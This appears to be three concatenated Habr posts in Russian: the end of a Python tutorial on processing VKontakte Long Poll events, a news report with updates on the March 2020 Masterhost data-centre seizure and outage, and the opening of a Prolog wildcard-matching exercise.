response = requests.get('https://{server}?act=a_check&key={key}&ts={ts}&wait=20&mode=2&version=2'.format(server=data['server'], key=data['key'], ts=data['ts'])).json() # отправление запроса на Long Poll сервер со временем ожидания 20 и опциями ответа 2
updates = response['updates']
if updates: # проверка, были ли обновления
for element in updates: # проход по всем обновлениям в ответе
action_code = element[0] # запись в переменную кода события
if action_code == 80: # проверка кода события
print('количество непрочитанных сообщений стало равно', element[1]) # вывод
data['ts'] = response['ts'] # обновление номера последнего обновления
```
Если запустить эту программу, она будет выводить на экран сообщения об изменении количества непрочитанных сообщений. Следующие относительно несложные обновления имеют коды 8 и 9 — друг стал онлайн и оффлайн соответственно. Дополним нашу программу, чтобы она смогла обрабатывать и их. Начнем с кода 9. Напишем строку, которая будет проверять код события:
```
elif action_code == 9:
```
Далее рассмотрим формат приходящих обновлений, имеющих код 9:
`[9, -000000000, 1, 1501744865]`
С индексом 0, как вы уже знаете, хранится код обновления — 9. Далее идет отрицательное id пользователя, ставшего оффлайн (чтобы получить действительное id, нужно умножить на -1, дабы избавиться от минуса). Элемент с индексом 3 может принимать лишь 2 значения: 0 или 1. 1 означает, что отметка «оффлайн» поставлена по истечении тайм-аута неактивности, а 0 — что пользователь покинул сайт явно, например, нажав кнопку «выход». Последнее значение в ответе — время последнего действия пользователя на сайте в Unix time. Запишем все полученные сведения в переменные:
```
user_id = element[1] * -1 # id пользователя, ставшего оффлайн
user = requests.get('https://api.vk.com/method/users.get', params={'user_ids': user_id, 'fields': 'sex'}).json()['response'][0] # имя, фамилия и пол пользователя с id = user_id
timeout = bool(element[2]) # был ли поставлен статус оффлайн по истечении тайм-аута
last_visit = element[3] # время последнего действия пользователя на сайте в Unix time
```
Как вы могли заметить, помимо имени и фамилии пользователя, мы получаем еще и его пол. Это нужно, чтобы программа правильно использовала рода в предложениях и не писала что-то вроде «Иван Иванов вышел**а** из ВКонтакте». Переменная timeout хранит False, если пользователь явно покинул сайт, и True, если истекло время тайм-аута. Теперь можно вывести на экран полученные данные:
```
# не забудьте написать вначале "import time", здесь используется эта библиотека
if user['sex'] == 1:
verb = ['стала', 'вышла']
else:
verb = ['стал', 'вышел']
if timeout:
print(user['first_name'], user['last_name'], verb[0], 'оффлайн по истечении тайм-аута. Время последнего действия на сайте:', time.ctime(last_visit).split()[3])
else:
print(user['first_name'], user['last_name'], verb[1], 'из ВКонтакте. Время последнего действия на сайте:', time.ctime(last_visit).split()[3])
```
Единственное, что я вижу неочевидным в этом коде — вывод времени:
`time.ctime(last_visit).split()[3]`
Давайте разберемся с этой частью кода. Функция ctime библиотеки time принимает в качестве аргумента число — время в Unix time и возвращает строку вида `'Thu Jan 1 03:00:00 1970'`. Так как нам нужно лишь время последнего действия на сайте, мы разбиваем эту строку методом split по пробелам и получаем массив, где в индексе 0 хранится день недели, в индексе 1 — месяц, 2 — число, 3 — время, а 4 — год. Мы извлекаем элемент с индексом 3, то есть время.
Теперь напишем реализацию обработки обновлений с кодом 8. Их формат выглядит так: `[8, -6892937, 4, 1501750273]`. Второй элемент в массиве — отрицательное id пользователя, ставшего онлайн, третий — платформа, с которой зашел пользователь, а четвертый — время последнего действия пользователя на сайте в Unix time. Реализуем полученные данные в код:
```
user_id = element[1] * -1 # id пользователя, ставшего онлайн
user = requests.get('https://api.vk.com/method/users.get', params={'user_ids': user_id, 'fields': 'sex'}).json()['response'][0] # имя, фамилия и пол пользователя с id = user_id
platform = element[2] # код платформы пользователя
last_visit = element[3] # время последнего визита в Unix time
if user['sex'] == 1:
verb = 'стала'
else:
verb = 'стал'
```
Здесь мы записали данные из ответа в переменные, а также поставили глагол в нужный род. Параметр platform сейчас содержит число в диапазоне от 1 до 7 включительно. Каждое число обозначает платформу, с которой пользователь совершил действие. Переведем это число в текст:
```
# определение платформы по ее коду
if platform == 1:
platform = 'официальную мобильную версию web-сайта VK'
elif platform == 2:
platform = 'официальное приложение VK для iPhone'
elif platform == 3:
platform = 'официальное приложение VK для iPad'
elif platform == 4:
platform = 'официальное приложение VK для Android'
elif platform == 5:
platform = 'официальное приложение VK для Windows Phone'
elif platform == 6:
platform = 'официальное приложение VK для Windows'
elif platform == 7:
platform = 'официальную web-версию VK'
```
Теперь можно вывести информацию на экран:
```
print(user['first_name'], user['last_name'], verb, 'онлайн через', platform, 'в', time.ctime(last_visit).split()[3])
```
Далее мы рассмотрим коды 61 и 62. Они сообщают о том, что кто-то набирает сообщение. Разница в том, что обновления с кодом 61 оповещают о наборе текста в личных сообщениях, а 62 — в беседах. Обновления с кодом 62 выглядят так: `[62, 000000000, 000]`. Второй элемент массива — id пользователя, набирающего сообщения, а третий — идентификатор беседы. Обновления с кодом 61 имеют следующий вид: `[61, 000000000, 1]`. Здесь значение имеет лишь второй элемент — id пользователя, набирающего сообщение. Напишем обработчик этих событий:
```
elif action_code == 61:
user = requests.get('https://api.vk.com/method/users.get', params={'user_ids': element[1]}).json()['response'][0] # получение имени и фамилии пользователя
print(user['first_name'], user['last_name'], 'набирает сообщение')
elif action_code == 62:
user = requests.get('https://api.vk.com/method/users.get', params={'user_ids': element[1]}).json()['response'][0] # получение имени и фамилии пользователя, набирающего сообщение
chat = requests.get('https://api.vk.com/method/messages.getChat', params={'chat_id': element[2], 'access_token': token}).json()['response']['title'] # получение названия беседы
print(user['first_name'], user['last_name'], 'набирает сообщение в беседе "{}"'.format(chat))
```
В следующей теме мы напишем обработчик входящих сообщений и рассмотрим флаги сообщений.
**Обработка сообщений и флаги**Наиболее интересные обновления, как мне кажется, — добавление сообщений. Эти обновления имеют код 4 и возвращают информацию о входящих и исходящих сообщений. Вот пример обновления с кодом 4: `[4, $ts, $flag, $id, $unixtime, $text, {'title': ' ... '}]`. Здесь $ts — номер пришедшего события, $flag — флаги сообщения, $id — id собеседника или 2000000000 + id беседы (в случае с коллективными диалогами), $unixtime — время добавления сообщения в Unix time, а последний элемент — словарь, содержащий информацию о вложениях, отправителе и изменениях в настройках беседы. Для начала разберемся с тем, где было добавлено сообщение: в личной переписке или беседе. Если сообщение было отправлено в беседе, то, как я уже написал, в поле $id будет указано число, получившиеся при сложении 2000000000 и chat\_id (идентификатор беседы). Если сообщение было добавлено в личной переписке, в поле $id будет значиться id собеседника, которое всегда меньше, чем 2000000000 + chat\_id любой беседы. Из этого можно сделать вывод, что, если $id — 2000000000 > 0, то сообщение было отправлено в беседе, если меньше, то в личной переписке. Если сообщение было отправлено в беседе, то id пользователя, написавшего сообщение, будет указано в словаре под ключем 'from'. Напишем обработчик сообщений:
```
elif action_code == 4:
if element[3] - 2000000000 > 0: # проверяем, было ли отправлено сообщение в беседе
user_id = element[6]['from'] # id отправителя
chat_id = element[3] - 2000000000 # id беседы
chat = requests.get('https://api.vk.com/method/messages.getChat', params={'chat_id': chat_id, 'access_token': token}).json()['response']['title'] # получение названия беседы
user = requests.get('https://api.vk.com/method/users.get', params={'user_ids': user_id, 'name_case': 'gen'}).json()['response'][0] # получение имени и фамилии пользователя, отправившего сообщение
time_ = element[4] # время отправления сообщения
text = element[5] # текст сообщения
if text: # проверяем, что сообщение содержит текст
print(time.ctime(time_).split()[3] + ':', 'Сообщение от', user['first_name'], user['last_name'], 'в беседе "{}"'.format(chat) + ':', text)
else:
user_id = element[3] # id собеседника
user = requests.get('https://api.vk.com/method/users.get', params={'user_ids': user_id, 'name_case': 'gen'}).json()['response'][0] # получение имени и фамилии пользователя, отправившего сообщение
time_ = element[4] # время отправления сообщения
text = element[5] # текст сообщения
if text: # проверяем, что сообщение содержит текст
print(time.ctime(time_).split()[3] + ':', 'Сообщение от', user['first_name'], user['last_name'] + ':', text)
```
Однако, у данной программы довольно много недостатков. Вот некоторые из них:
* Неумение отличить исходящие сообщения от входящих;
* игнорирования медиа-вложений;
* игнорирование сообщений, сигнализирующих об изменении настроек беседы;
* неумение обработать специальные сиволы в сообщениях
Две из четырех проблем можно решить, используя флаги сообщений, которые хранятся в массиве обновления под индексом 2. Этот элемент массива — число, получившиеся в результате сложения некоторых параметров, приведенных ниже (из официальной документации):
> +1: сообщение не прочитано
>
> +2: исходящее сообщение
>
> +4: на сообщение был создан ответ
>
> +8: помеченное сообщение
>
> +16: сообщение отправлено через чат
>
> +32: сообщение отправлено другом. Не применяется для сообщений из групповых бесед
>
> +64: сообщение помечено как «Спам»
>
> +128: сообщение удалено (в корзине)
>
> +256: сообщение проверено пользователем на спам
>
> +512: сообщение содержит медиаконтент
>
> +65536: приветственное сообщение от сообщества. Диалог с таким сообщением не нужно поднимать в списке (отображать его только при открытии диалога напрямую). Флаг недоступен для версий <2.
>
>
Теперь нужно научить программу отличать исходящие сообщения от входящих. Чтобы проверить, есть ли среди слагаемых флага сообщения нужное нам число, мы будем использовать побитовое И. Создадим массив, в котором будут храниться слагаемые флага:
```
summands = [] # массив, где мы будем хранить слагаемые
flag = element[2] # флаг сообщения
for number in [1, 2, 4, 8, 16, 32, 64, 128, 256, 512, 65536]: # проходим циклом по возможным слагаемым
if flag & number: # проверяем, является ли число слагаемым с помощью побитового И
summands.append(number) # если является, добавляем его в массив
```
Выводить на экран информацию об исходящих сообщениях, как мне кажется, бессмысленно, поэтому мы добавим строку
```
if 2 not in summands:
```
Сейчас часть программы, работающая с сообщениями, выглядит так:
```
elif action_code == 4:
summands = [] # массив, где мы будем хранить слагаемые
flag = element[2] # флаг сообщения
for number in [1, 2, 4, 8, 16, 32, 64, 128, 256, 512, 65536]: # проходим циклом по возможным слагаемым
if flag & number: # проверяем, является ли число слагаемым с помощью побитового И
summands.append(number) # если является, добавляем его в массив
if 2 not in summands:
if element[3] - 2000000000 > 0: # проверяем, было ли отправлено сообщение в беседе
user_id = element[6]['from'] # id отправителя
chat_id = element[3] - 2000000000 # id беседы
chat = requests.get('https://api.vk.com/method/messages.getChat', params={'chat_id': chat_id, 'access_token': token}).json()['response']['title'] # получение названия беседы
user = requests.get('https://api.vk.com/method/users.get', params={'user_ids': user_id, 'name_case': 'gen'}).json()['response'][0] # получение имени и фамилии пользователя, отправившего сообщение
time_ = element[4] # время отправления сообщения
text = element[5] # текст сообщения
if text: # проверяем, что сообщение содержит текст
print(time.ctime(time_).split()[3] + ':', 'Сообщение от', user['first_name'], user['last_name'], 'в беседе "{}"'.format(chat) + ':', text)
else:
user_id = element[3] # id собеседника
user = requests.get('https://api.vk.com/method/users.get', params={'user_ids': user_id, 'name_case': 'gen'}).json()['response'][0] # получение имени и фамилии пользователя, отправившего сообщение
time_ = element[4] # время отправления сообщения
text = element[5] # текст сообщения
if text: # проверяем, что сообщение содержит текст
print(time.ctime(time_).split()[3] + ':', 'Сообщение от', user['first_name'], user['last_name'] + ':', text)
```
Теперь научимся работать с медиа-вложениями. Вот пример обновления, говорящего о том, что пришло сообщение с прикрепленными фотографией, песней, видео, документом и гео-позицией: `[[4, $ts, $flag, $id, $unixtime, $text, {'attach1_type': 'photo', 'attach1': '$photoId', 'attach2_type': 'video', 'attach2': '$videoId', 'attach3_type': 'audio', 'attach3': '$audioId', 'attach4_type': 'doc', 'attach4': '$docId', 'geo': '2_SVK-le', 'geo_provider': '4', 'title': ' ... '}]`. Чтобы получить доступ к этим вложениям, нужно будет обращаться к API для получения ссылки на файл. Методы для выполнения этого действия (photos.getById и docs.getById) нашлись лишь для фотографий и документов (аудиосообщения приходят как документы, поэтому ссылку для их прослушивания получить удастся). Для музыки с недавних пор недоступен ни один метод из-за авторских прав, а для видео нужный метод попросту отсутствует. Для дальнейшей работы с вложениями напишем код, который создаст два массива (для фото и для документов) со ссылками на просмотр вложений.
```
if 512 in summands: # проверка, есть ли медиа-вложения
index = 1
photos = [] # массив для хранения id фотографий
docs = [] # массив для хранения id документов
media_type = 'attach1_type'
while media_type in element[6].keys(): # проверка, существует ли медиа-вложение с таким индексом
media_type = element[6]['attach{}_type'.format(index)] # если существует, сохраняем его тип
if media_type == 'photo': # является ли вложение фотографией
photos.append(element[6]['attach{}'.format(index)]) # добавляем id фотографии в массив
elif media_type == 'doc': # является ли вложение документом
docs.append(element[6]['attach{}'.format(index)]) # добавляем id документа в массив
index += 1 # увеличиваем индекс
media_type = 'attach{}_type'.format(index)
change = lambda ids, type_: requests.get('https://api.vk.com/method/{}.getById'.format(type_), params={type_: ids, 'access_token': token}).json() # функция, возвращающаяся ссылки на объекты
if photos: # проверка, были ли во вложениях фотографии
photos = change(', '.join(photos), 'photos') # если были, то перезаписываем переменную photos на словарь
if 'response' in photos.keys():
photos = [attachment['src_xbig'] for attachment in photos['response']] # перезаписываем на ссылки
print('сообщение содержит следующие фотографии:', ', '.join(photos))
else:
pass # скорее всего, возникла ошибка доступа
if docs: # проверка, были ли во вложениях документы
docs = change(', '.join(docs), 'docs') # если были, то перезаписываем переменную docs на словарь
if 'response' in docs.keys():
docs = [attachment['url'] for attachment in docs['response']] # перезаписываем на ссылки
print('сообщение содержит следующие документы:', ', '.join(docs))
else:
pass # скорее всего, возникла ошибка доступа
```
Уберем строки
```
if text:
```
, чтобы при выводе данных было понятно, какие медиа-вложения к каким сообщениям относятся.
Теперь научим нашу программу реагировать на изменения в беседе: создание новой беседы, обновления фотографии, изменения названий, добавления и исключения людей. Информация о подобных событиях хранится в словаре, находящемся под индексом 6 в обновлениях с кодом 4. Ниже приведены примеры событий:
* Изменение названия беседы: `[4, $ts, $flag, $chat_id, $unixtime, '', {'source_act': 'chat_title_update', 'source_text': 'Новое название', 'source_old_text': 'Старое название', 'from': '$id'}]`
* Обновление фотографии беседы: `[4, $ts, $flag, $chat_id, $unixtime, '', {'attach1_type': 'photo', 'attach1': '247178624_456242629', 'source_act': 'chat_photo_update', 'from': '247178624'}]`
* Добавление пользователя в беседу: `[4, $ts, $flag, $chat_id, $unixtime, '', {'source_act': 'chat_invite_user', 'source_mid': '$added_user_id', 'from': '$adder_id'}]`
* Исключение пользователя из беседы (выход пользователя из беседы): `[4, $ts, $flag, $chat_id, $unixtime, '', {'source_act': 'chat_kick_user', 'source_mid': '&removed_user_id', 'from': '&remover_id'}]`
* Создание новой беседы: `[4, $ts, $flag, $chat_id, $unixtime, '', {'source_act': 'chat_create', 'source_text': 'Название', 'from': '$creator_id'}]`
Вот программа, которая обрабатывает изменения такого вида:
```
elif action_code == 4:
if 'source_act' not in element[6].keys():
# <код, обрабатывающий сообщения>
else:
source_act = element[6]
if source_act['source_act'] == 'chat_title_update': # было ли обновление вызвано изменением названия беседы
changer_id = source_act['from'] # id человека, изменившего названия
source_text = source_act['source_text'] # новое название беседы
source_old_text = source_act['source_old_text'] # старое название беседы
changer = requests.get('https://api.vk.com/method/users.get', params={'user_ids': changer_id, 'fields': 'sex'}).json()['response'][0] # получение имени и фамилии пользователя, изменившего название
if changer['sex']:
verb = 'изменила'
else:
verb = 'изменил'
print(changer['first_name'], changer['last_name'], verb, 'название беседы с "{}" на "{}"'.format(source_old_text, source_text))
elif source_act['source_act'] == 'chat_photo_update':
chat_id = element[3] - 2000000000 # id беседы
chat = requests.get('https://api.vk.com/method/messages.getChat', params={'chat_id': chat_id, 'access_token': token}).json()['response']['title'] # получение названия беседы
user_id = source_act['from'] # id пользователя, обновившего фото
photo_id = source_act['attach1'] # id фотографии
photo = requests.get('https://api.vk.com/method/photos.getById', params={'photos': photo_id, 'access_token': token}).json() # ссылка на фотографию
user = requests.get('https://api.vk.com/method/users.get', params={'user_ids': user_id, 'fields': 'sex'}).json()['response'][0] # имя и фамилия пользователя, обновившего фото
if 'error' not in photo.keys(): # не возникло ли ошибок при получении ссылки
if user['sex']:
verb = 'обновил'
else:
verb = 'обновила'
print(user['first_name'], user['last_name'], verb, 'фотографию беседы "{}" на'.format(chat), photo['response'][0]['src_xbig'])
else:
pass # вероятнее всего, отсутствуют права для выполнения запроса
elif source_act['source_act'] == 'chat_invite_user':
chat_id = element[3] - 2000000000 # id беседы
chat = requests.get('https://api.vk.com/method/messages.getChat', params={'chat_id': chat_id, 'access_token': token}).json()['response']['title'] # получение названия беседы
invited_id = source_act['source_mid'] # id приглашенного
inviter_id = source_act['from'] # id пригласившего
if invited_id == inviter_id: # вернулся ли пользователь в беседу или был добавлен кем-то из участников
user = requests.get('https://api.vk.com/method/users.get', params={'user_ids': inviter_id, 'fields': 'sex'}).json()['response'][0] # имя и фамилия вернувшегося
if user['sex']:
verb = 'вернулась'
else:
verb = 'вернулся'
print(user['first_name'], user['last_name'], verb, 'в беседу "{}"'.format(chat))
else:
inviter_user = requests.get('https://api.vk.com/method/users.get', params={'user_ids': inviter_id, 'fields': 'sex'}).json()['response'][0] # имя и фамилия добавившего
invited_user = requests.get('https://api.vk.com/method/users.get', params={'user_ids': invited_id, 'name_case': 'acc'}).json()['response'][0] # имя и фамилия добавленного
if inviter_user['sex']:
verb = 'добавила'
else:
verb = 'добавил'
print(inviter_user['first_name'], inviter_user['last_name'], verb, 'в беседу "{}"'.format(chat), invited_user['first_name'], invited_user['last_name'])
elif source_act['source_act'] == 'chat_kick_user':
chat_id = element[3] - 2000000000 # id беседы
chat = requests.get('https://api.vk.com/method/messages.getChat', params={'chat_id': chat_id, 'access_token': token}).json()['response']['title'] # получение названия беседы
removed_id = source_act['source_mid'] # id исключенного
remover_id = source_act['from'] # id исключившего
if removed_id == remover_id: # вышел ли пользователь сам или был исключен
user = requests.get('https://api.vk.com/method/users.get', params={'user_ids': remover_id, 'fields': 'sex'}).json()['response'][0] # имя и фамилия вышедшего
if user['sex']:
verb = 'вышла'
else:
verb = 'вышел'
print(user['first_name'], user['last_name'], verb, 'из беседы "{}"'.format(chat))
else:
remover_user = requests.get('https://api.vk.com/method/users.get', params={'user_ids': remover_id, 'fields': 'sex'}).json()['response'][0] # имя и фамилия исключившего
removed_user = requests.get('https://api.vk.com/method/users.get', params={'user_ids': removed_id, 'name_case': 'acc'}).json()['response'][0] # имя и фамилия исключенного
if remover_user['sex']:
verb = 'исключила'
else:
verb = 'исключил'
print(remover_user['first_name'], remover_user['last_name'], verb, 'из беседы "{}"'.format(chat), removed_user['first_name'], removed_user['last_name'])
elif source_act['source_act'] == 'chat_create':
chat = source_act['source_text'] # название беседы
creator_id = source_act['from'] # id создателя
creator = requests.get('https://api.vk.com/method/users.get', params={'user_ids': creator_id, 'fields': 'sex'}).json()['response'][0] # имя, фамилия и пол создателя
if creator['sex']:
verb = 'создала'
else:
verb = 'создал'
print(creator['first_name'], creator['last_name'], verb, 'беседу "{}"'.format(chat))
```
**Наводим красивости. Заключительная часть**В этой части мы рассмотрим лишь две детали: ошибку при запросе к Long Poll серверу и отображение спец. символов в сообщениях.
Об ошибке: если запустить программу в том виде, в котором она есть сейчас, через некоторое время возникнет ошибка KeyError на строке 8: `response = requests.get('https://{server}?act=a_check&key={key}&ts={ts}&wait=20&mode=2&version=2'.format(server=data['server'], key=data['key'], ts=data['ts'])).json()['response'] # отправление запроса на Long Poll сервер со временем ожидания 20 и опциями ответа 2`. Дело в том, что на наш запрос сервер вернул ошибку «error 2», что означает, что используемый параметр &key устарел и нужно получить новый. Для этого мы несколько изменим существующий код на:
```
response = requests.get('https://{server}?act=a_check&key={key}&ts={ts}&wait=20&mode=2&version=2'.format(server=data['server'], key=data['key'], ts=data['ts'])).json() # отправление запроса на Long Poll сервер со временем ожидания 20 и опциями ответа 2
try:
updates = response['updates']
except KeyError: # если в этом месте возбуждается исключение KeyError, значит параметр key устарел, и нужно получить новый
data = requests.get('https://api.vk.com/method/messages.getLongPollServer', params={'access_token': token}).json()['response'] # получение ответа от сервера
continue # переходим на следующую итерацию цикла, чтобы сделать повторный запрос
```
Теперь проблема решена! Остается последнее: спец. символы в сообщениях. Дело в том, что некоторые символы ВК возвращает не в привычном для нас виде. Так, например, если в сообщении есть амперсант, он будет заменен на `&_amp` (нижнее подчеркивание нужно, чтобы Хабр не заменил эту надпись на амерсант). Подобных символов много и всех их нужно вывести правильно. Для этого сохраним подобные символы и их коды в словарь, а затем заменим коды в сообщении на символы с помощью функции sub библиотеки re (не забудьте ее импортировать!).
```
import re
# <...>
symbols = {'
': '\n', '&_amp;': '&', '&_quot;': '"', '&_lt;': '<', '&_gt;': '>', '&_tilde;': '~', '&_circ;': 'ˆ', '&_ndash;': '–', '&_mdash;': '—', '&_euro;': '€', '&_permil;': '‰'} # из каждого ключа уберите нижнее подчеркивание
for code, value in symbols.items():
text = re.sub(code, value, text)
``` | https://habr.com/ru/post/335106/ | null | ru | null |
# Официальное заявление «Мастерхоста» о захвате дата-центра
Утром 2 марта 2020 года в работе хостинг-провайдера «Мастерхост» начались неполадки: «Все силы наших специалистов брошены на скорейшее решение проблемы. При необходимости Вы можете получить консультацию в чате, либо отправив заявку», — [сообщил](https://twitter.com/gcmasterhost/status/1234390046977011712) официальный твиттер-аккаунт в 11:08 AM. В комментариях к записи пользователи жаловались на сбои в работе электронной почты и сайта.
К вечеру сайт совсем упал, а в 20:36 компания сделала [официальное заявление о захвате дата-центра](https://twitter.com/gcmasterhost/status/1234533028610920452) бывшим собственником компании.
Компания заявила, что её дата-центр «в настоящее время находится в физическом распоряжении бывшего собственника компании, который периодически инициирует проблемы в работе оборудования. Именно это обстоятельство является причиной сбоев».
Компания пишет, что могла бы устранить неполадки в кратчайшие сроки, но её эксперты не имеют физического доступа к оборудованию.
«Мы прилагаем все усилия, чтобы как можно скорее урегулировать сложившуюся ситуацию, используя все доступные методы: переговоры, юридическое решение спора, поиск альтернативной площадки для размещения оборудования», — сказано в официальном заявлении.
Основанный в 1999 году «Мастерхост» — один из первых хостинг-провайдеров и регистраторов доменов в России. По данным самой компании, она обслуживает более 1 миллиона клиентов по всем услугам и более 500 тыс. доменов. В компании работает 125 человек.
Согласно базе данных российских юридических лиц, 100% владельцем ООО «Мастерхост» является Наталья Дмитриевна Шмиляк. Владельцами АО «Мастерхост» числятся: Евгений Борисович Беневоленский (27 000,00 руб., 17.10.2002, ИНН 771588572341), Алексей Анатольевич Скрипка (1 500,00 руб., 17.10.2002, ИНН 772030418748), Дмитрий Валерьевич Криков (750,00 руб., 17.10.2002) и Светлана Анатольевна Прозорова (750,00 руб., 17.10.2002).
Конфликт разгорелся между нынешним собственником Masterhost Станиславом Шмиляком и бывшим — Евгением Беневоленским на почве финансовых претензий. Последнему принадлежит мажоритарная доля в компании—владельце дата-центра, где размещается «Мастерхост».
27 февраля 2020 года Арбитражный суд города Москвы отказал в первой инстанции ООО «Мастерхост» в иске А40-316196/2019 к налоговой инспекции № 46 по г. Москве и АО «Информационный центр» (ИНН 7701553038; владелец Леонид Евгеньевич Филатов). Цитата из [решения суда](https://kad.arbitr.ru/Document/Pdf/a13d1315-c9b0-444e-8977-fb67ff889288/32c4d5dd-a9c8-4bc6-a443-2ebdeb408de5/A40-316196-2019_20200227_Opredelenie.pdf?isAddStamp=True):
> «обязания АО «Информационный центр» и Генерального директора Тимотину С. В. передать на временное хранение серверное оборудование Истца, размещенное, им на технологических мощностях АО «Информационный Центр» и обеспечить его работоспособность до момента передачи ФГУП «ТТЦ Останкино», обязания АО «Информационный центр» и Генерального директора Тимотину С. В. обеспечить доступ сотрудников Истца в помещения, арендуемые АО «Информационный центр» расположенные на 5-ом этаже по адресу: 127410, МОСКВА, ШОССЕ АЛТУФЬЕВСКОЕ, 37, 1 и не чинить препятствий сотрудникам Истца в обслуживании оборудования ООО «Мастерхост», обязания АО «Информационный центр» и Генерального директора Тимотину С. В. обеспечить оказание услуг по Договору No1/2014/Ар. Ст от 1 апреля 2014 года в должном объеме и соответствующего Договору качества отказать.
Исходя из анализа определения суда, можно предположить, что иск Masterhost к АО ИЦ связан с отказом в доступе первому к оборудованию, [считает](https://www.kommersant.ru/doc/4275990) юрист КСК групп Андрей Трубицын: «Возможно, АО ИЦ запретил Masterhost доступ к помещениям ввиду наличия задолженности по договору оказания услуг». По его словам, договоры о предоставлении помещений под сервера обычно предусматривают возможность арендодателя удерживать оборудование при наличии неоплаченных задолженностей по договору. С другой стороны, неясно, зачем Masterhost планировал запретить смену гендиректора и ввести запрет на исполнение решений собрания акционеров; возможно, у компании есть информация о предполагаемых неблагоприятных для него решениях общего собрания, предполагает Андрей Трубицын.
В настоящее время «Мастерхост» занимает 6-е место на российском рынке хостинг-провайдеров (по другим оценкам, 13-е место). Сайт HostAdvice оценивает долю «Мастерхост» в 2,96% (лидирует Reg.ru с 16,37%). До продажи «Мастерхост» находился на первом месте.
В 2011 году основатель «Мастерхоста» Леонид Филатов [продал свою долю Евгению Беневоленскому и покинул компанию](https://www.cnews.ru/news/top/osnovatel_masterhosta_prodal_svoyu). В числе проданных активов оказалась и [«Вебпланета»](http://webplanet.ru/), известное в прошлом интернет-издание о веб-технологиях.
Это не первый серьёзный сбой в работе провайдера, подобная ситуация уже случалась в феврале.
UPD. Из-за отключения «Мастерхоста» ушли в офлайн серверы Роскосмоса и некоторых других организаций: «В связи с аварийной ситуацией на серверных площадках хостинг-провайдера и регистратора доменных имен "Мастерхост", услугами которого пользуется госкорпорация "Роскосмос", интернет-сайты госкорпорации и ряда предприятий ракетно-космической промышленности недоступны с 12:30 мск 2 марта», — [сообщили](https://tass.ru/obschestvo/7886249) в Роскосмосе. Также не доступны страницы ряда других организаций отрасли, в том числе Центра подготовки космонавтов и НПО «Энергомаш».
UPD2 03.03.2020 13:45. «Информация прямо с места событий. В здание, где располагаются сервера, как мы поняли, один из совладельцев на фоне конфликта интересов возвёл баррикады и отключил от питания серверы, — [написал](https://vk.com/wall-46870132_3870?w=wall-46870132_3870_r5184) пользователь Артем Пыненков на странице ВК. — Мы наблюдали на месте сотрудников "Мастерхоста" и полиции. Говорят, что сайты вроде бы должны заработать в течение 24 часов. Базы станут доступны в течение 48 часов».
UPD3 Недоступными оказались сайты ряда торговых центров и девелоперов. Проблемы затронули «Авиапарк», УК «РВМ Капитал», «НЭО Центр» и ряд крупных риэлторских агентств, [пишет](https://www.kommersant.ru/doc/4275990) «Коммерсантъ». В Координационном центре (КЦ) доменов .ru/.рф “Ъ” сообщили, что пока наблюдают за ситуацией. «Если регистратор не исполняет обязательства на протяжении трех дней и от этого страдают клиенты, то КЦ имеет право вмешаться», — отметил представитель организации. Вопрос возможности получения компенсации от «Мастерхоста» зависит от условий заключённых с клиентами договоров, считает юрист КСК групп Андрей Трубицын: «Стандартный договор с хостинг-провайдером не предусматривает ответственность за сбои в работе сервиса, так как это серьёзно увеличивает риски хостинг-провайдера. Возможно, ряд договоров предусматривает ответственность за перебои в работе сервисов за счет повышенной ставки оплаты. Такие клиенты получат возможность взыскать компенсацию за перебои в работе сервисов».
Ссылки и полезная информация
============================
* [Инструкция](https://ow1.in/rescue.html) для клиентов «Мастерхоста».
* [Группа в Telegram](https://t.me/nemasterhost) для обсуждения текущей ситуации.
UPD4 04.03.2020 19:12. Произошло включение серверов, чтобы клиенты могли забрать бэкапы. Сроки не установлены, так что серверы могут отключиться в любой момент. Включение состоялось по инициативе Беневоленского: «Были наняты инженеры, которым Евгений Борисович дал возможность зайти в дата-центр и включить на время ресурсы», — сообщают сотрудники компании.
UPD5 Судя по всему, при (временном) включении серверов MySQL запущен с опцией `--skip-grant-tables` — то есть заходи и делай что хочешь с чьей угодно БД.
UPD6 05.03.2020 9:17 Уполномоченный при президенте РФ по защите прав предпринимателей Борис Титов предложил обеспечить защиту клиентов в случае судебных споров интернет-провайдеров. В качестве примера он привел ситуацию с провайдером «Мастерхост», который ведет судебный спор с дата-центром, где размещено его оборудование. Арбитражный суд Москвы отказал провайдеру в обеспечительных мерах по его иску, где, в частности, содержалось требование обеспечить сотрудникам истца беспрепятственный доступ к оборудованию: «Иначе говоря, суд санкционировал те перебои с сайтами, которые были и продолжаются до сих пор. В определении суда говорится, что истец не представил доказательств «вероятности причинения значительного ущерба». Не буду сейчас вдаваться в подробности: то ли истец не позаботился объяснить суду, чем обернется остановка работы оборудования для клиентов, совершенно непричастных к конфликту, то ли суд «не сообразил», в чем заключается суть работы крупного провайдера. Несмотря на формальную правоту дата-центра, разрешать ситуацию нужно срочно, пусть и в ручном режиме, — сказал Титов. — Когда лицензии лишается банк, его вкладчикам худо-бедно гарантирован возврат средств в объеме, предусмотренном законом. В ситуации с провайдером клиентам остается только ждать и нести убытки. Думаю, что стоит задуматься о законодательных мерах, которые позволяли бы сводить такой ущерб к минимуму».
UPD7 05.03.2020 17:43 [Заявление компании «Мастерхост»](https://vk.com/wall-46870132_8724?w=wall-46870132_8724): «Уважаемые клиенты! Рады сообщить, что ООО «Мастерхост» удалось достигнуть договорённости относительно права использования ресурсов дата-центра. Путём сложнейших многодневных переговоров мы нашли компромисс со второй стороной, нашим специалистам полностью открыт доступ в дата-центр, что не только означает полное восстановление работы сервисов, но и предотвращает возможные сбои в будущем. Мы приносим искренние извинения каждому клиенту, который пострадал из-за проблем в нашей компании. Мы благодарим Вас за проявленное терпение и направляем все усилия на обработку Ваших заявок и на оперативное урегулирование вопросов с предоставлением данных и компенсаций. Это было тяжёлое время для всех нас, но мы полностью готовы открыть новый этап в своей работе».
UPD8 На своей [официальной странице](https://vk.com/wall-46870132_6883) Вконтакте компания «Мастерхост» сообщила, что на 18 марта 2020 года [назначено заседание арбитражного суда](http://kad.arbitr.ru/Card/a13d1315-c9b0-444e-8977-fb67ff889288): «Хотим отметить, что день судебного заседания и время восстановления работы сервисов никак не связаны». | https://habr.com/ru/post/490794/ | null | ru | null |
# Занимательный пролог #2
Привет, *сообщество разработчиков*, надо довести дело до конца.
В предыдущем моем [опусе](https://habr.com/post/427189/) был вызов показать как можно использовать язык Пролог, да и показать что бы это было забавно. Превратить это в упражнение.
Попробую продолжить ~~выпендриваться~~ демонстрировать.
Коротко напомню [задачу:](https://leetcode.com/problems/wildcard-matching/)
**Wildcard Matching**Given an input string (s) and a pattern (p), implement wildcard pattern matching with support for '?' and '*'.
'?' Matches any single character.
